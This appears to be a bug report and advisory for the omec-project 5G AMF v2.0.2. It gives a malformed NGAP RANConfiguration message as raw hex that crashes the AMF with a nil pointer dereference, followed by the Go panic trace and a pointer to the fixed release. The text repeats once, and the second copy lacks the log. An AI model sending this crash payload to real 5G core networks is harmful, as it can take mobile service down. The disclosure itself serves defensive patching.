If a malformed RANConfiguration is sent to AMF it crashes. Nil Pointer Deference
AMF Version: v2.0.2
Reproduction Step:
Send this following RANConfiguration NGAP message
00 23 80 80 CD 80 00 00 00 00 80 80 92 80 C0 FA A5 FD 27 E3 17 E7 F3 B9 F9 D2 57 FE 92 53 82 A7 67 5F F3 BD FA 89 FD 4F 27 83 7A 4E 4B FA A3 51 62 CC E4 69 F3 B3 9B 3E 93 3F 5B 98 F5 3B FA 66 4B A9 D7 73 A7 FE 6F 9F 3F 99 53 3D 5B E6 19 39 EF E6 07 11 3E B1 90 EE 7D 38 A2 72 3C 65 FA A6 FC F1 67 E8 4C 0B D7 D1 03 1F 5F EB 15 F5 7F 89 9F 42 C9 5F DC 4E FD FA D5 ED 4F C2 9F 25 F4 53 F9 84 44 8F A9 FF 4F D3 66 7A ED 4B E8 1B F5 AD 99 7F 5E 8B EF D2 6B E6 63 F3 94 F9 90 4E A6 FF FF 80 09 00 4C 52 BE 08 EA 24 23 C0 00 66 00 10 01 80 BB 5C DF 01 31 4A F8 FF FF B0 EB 23 01 02 00 A6 00 04 00 80 00 00 00 15 20 01 60 00 CC 20 01 90
AMF Log:
2026-02-10T00:43:03.789Z INFO ngap/handler.go:3944 handle Ran Configuration Update {"component": "AMF", "category": "NGAP", "ran_addr": "127.0.0.1:57665"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x13832e7]
goroutine 445 gp=0xc0006036c0 m=3 mp=0xc000089008 [running]:
panic({0x1624140?, 0x26d9d20?})
/usr/local/go/src/runtime/panic.go:802 +0x168 fp=0xc0004eb820 sp=0xc0004eb770 pc=0x481128
runtime.panicmem(...)
/usr/local/go/src/runtime/panic.go:262
runtime.sigpanic()
/usr/local/go/src/runtime/signal_unix.go:925 +0x359 fp=0xc0004eb880 sp=0xc0004eb820 pc=0x483ab9
github.com/omec-project/amf/ngap.HandleRanConfigurationUpdate(0xc000418c80, 0x0?)
/go/src/amf/ngap/handler.go:3972 +0x5c7 fp=0xc0004ebca0 sp=0xc0004eb880 pc=0x13832e7
github.com/omec-project/amf/ngap.DispatchNgapMsg({0x1b369a0, 0x2734720}, 0xc000418c80, 0xc0010d42e0, 0x0)
/go/src/amf/ngap/dispatcher.go:257 +0xb65 fp=0xc0004ebfa8 sp=0xc0004ebca0 pc=0x1364185
github.com/omec-project/amf/ngap.Dispatch.gowrap1()
/go/src/amf/ngap/dispatcher.go:169 +0x2e fp=0xc0004ebfe0 sp=0xc0004ebfa8 pc=0x136356e
runtime.goexit({})
/usr/local/go/src/runtime/asm_amd64.s:1693 +0x1 fp=0xc0004ebfe8 sp=0xc0004ebfe0 pc=0x489ca1
created by github.com/omec-project/amf/ngap.Dispatch in goroutine 417
/go/src/amf/ngap/dispatcher.go:169 +0x5c6
Advisory:
This bug has been fixed in the latest release
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa
If a malformed RANConfiguration is sent to AMF it crashes. Nil Pointer Deference
AMF Version: v2.0.2
Reproduction Step:
Send this following RANConfiguration NGAP message
00 23 80 80 CD 80 00 00 00 00 80 80 92 80 C0 FA A5 FD 27 E3 17 E7 F3 B9 F9 D2 57 FE 92 53 82 A7 67 5F F3 BD FA 89 FD 4F 27 83 7A 4E 4B FA A3 51 62 CC E4 69 F3 B3 9B 3E 93 3F 5B 98 F5 3B FA 66 4B A9 D7 73 A7 FE 6F 9F 3F 99 53 3D 5B E6 19 39 EF E6 07 11 3E B1 90 EE 7D 38 A2 72 3C 65 FA A6 FC F1 67 E8 4C 0B D7 D1 03 1F 5F EB 15 F5 7F 89 9F 42 C9 5F DC 4E FD FA D5 ED 4F C2 9F 25 F4 53 F9 84 44 8F A9 FF 4F D3 66 7A ED 4B E8 1B F5 AD 99 7F 5E 8B EF D2 6B E6 63 F3 94 F9 90 4E A6 FF FF 80 09 00 4C 52 BE 08 EA 24 23 C0 00 66 00 10 01 80 BB 5C DF 01 31 4A F8 FF FF B0 EB 23 01 02 00 A6 00 04 00 80 00 00 00 15 20 01 60 00 CC 20 01 90
AMF Log:
Advisory:
This bug has been fixed in the latest release
https://hub.docker.com/layers/omecproject/5gc-amf/rel-2.2.1/images/sha256-8a4c33cdda866094f1989bdeff6d8642fce8de8435f89defd66831c97715f5aa